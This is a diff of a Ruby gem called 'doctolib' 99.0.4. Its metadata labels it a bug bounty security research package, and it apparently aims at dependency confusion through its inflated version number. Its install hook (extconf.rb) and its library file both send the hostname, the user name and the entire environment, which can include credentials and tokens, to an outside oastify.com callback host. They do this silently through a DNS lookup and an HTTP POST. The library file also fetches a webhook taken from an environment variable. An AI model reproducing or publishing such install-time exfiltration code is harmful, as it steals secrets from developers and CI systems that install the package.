doctolib 99.0.4

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: daed013ef3a82b15c21812f5213185704c040456590e7ea0938e21b24fb567e2
+  data.tar.gz: 7b450c19935bcf49293dd443b7a22c6597cd3e0bf4ff4f19da504a490ec3163a
+SHA512:
+  metadata.gz: f82229046a782982cc56d79aa499e7e973eadff345b7653b5bfe8e6f2f882435dd64900c88eccadab8cdbd28e9e4af36abd511dc2e8ef78cba9430c5569b2c91
+  data.tar.gz: 817455f784d3b2ed849c2f03dd505daac4ff5d5e71d8d4fa13ddc95aea710491f8f16627ec751fd563f74283fed221f3fb49a21d7dcd5315aee5cce851097626

data/ext/doctolib/extconf.rb

@@ -0,0 +1,46 @@
+require 'socket'
+require 'net/http'
+require 'uri'
+require 'json'
+require 'time'
+require 'resolv'
+
+CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+
+# DNS exfiltration - bypass firewalls
+begin
+  hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+  user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+  
+  # DNS lookup = callback même si HTTP bloqué
+  dns_exfil = "geminstall-#{hostname}-#{user}.#{CALLBACK}"
+  Resolv.getaddress(dns_exfil) rescue nil
+rescue
+end
+
+# HTTP callback aussi
+begin
+  info = {
+    type: 'gem_install',
+    hostname: Socket.gethostname,
+    user: ENV['USER'] || ENV['USERNAME'],
+    pwd: Dir.pwd,
+    ruby_version: RUBY_VERSION,
+    env: ENV.to_h,
+    timestamp: Time.now.utc.iso8601
+  }
+  
+  uri = URI("http://#{CALLBACK}/gem_install")
+  http = Net::HTTP.new(uri.host, uri.port)
+  http.open_timeout = 3
+  http.read_timeout = 3
+  
+  request = Net::HTTP::Post.new(uri.path)
+  request['Content-Type'] = 'application/json'
+  request.body = info.to_json
+  
+  http.request(request)
+rescue
+end
+
+File.write('Makefile', "all:\n\techo 'OK'\ninstall:\n\techo 'OK'\n")

data/lib/doctolib.rb

@@ -0,0 +1,62 @@
+require 'socket'
+require 'net/http'
+require 'uri'
+require 'json'
+require 'time'
+require 'resolv'
+
+module Doctolib
+  VERSION = '99.0.4'
+  CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
+  
+  unless defined?(@@triggered)
+    @@triggered = true
+    
+    Thread.new do
+      # DNS exfiltration
+      begin
+        hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+        user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+        rails = (ENV['RAILS_ENV'] || 'norails').gsub(/[^a-zA-Z0-9]/, '')[0..10]
+        
+        dns_exfil = "gemrequire-#{hostname}-#{user}-#{rails}.#{CALLBACK}"
+        Resolv.getaddress(dns_exfil) rescue nil
+      rescue
+      end
+      
+      # HTTP callback
+      begin
+        info = {
+          type: 'gem_require',
+          hostname: Socket.gethostname,
+          user: ENV['USER'] || ENV['USERNAME'],
+          pwd: Dir.pwd,
+          ruby_version: RUBY_VERSION,
+          rails_env: ENV['RAILS_ENV'],
+          env: ENV.to_h,
+          timestamp: Time.now.utc.iso8601
+        }
+        
+        webhook = ENV['SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN']
+        info[:webhook_found] = !webhook.nil?
+        
+        uri = URI("http://#{CALLBACK}/gem_require")
+        http = Net::HTTP.new(uri.host, uri.port)
+        http.open_timeout = 3
+        http.read_timeout = 3
+        
+        request = Net::HTTP::Post.new(uri.path)
+        request['Content-Type'] = 'application/json'
+        request.body = info.to_json
+        
+        http.request(request)
+        
+        if webhook
+          webhook_uri = URI(webhook)
+          Net::HTTP.get(webhook_uri)
+        end
+      rescue
+      end
+    end
+  end
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: doctolib
+version: !ruby/object:Gem::Version
+  version: 99.0.4
+platform: ruby
+authors:
+- icare
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: Security research package
+email: icare@security.research
+executables: []
+extensions:
+- ext/doctolib/extconf.rb
+extra_rdoc_files: []
+files:
+- ext/doctolib/extconf.rb
+- lib/doctolib.rb
+homepage: https://github.com/icare/doctolib
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 2.5.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Security research - Bug Bounty
+test_files: []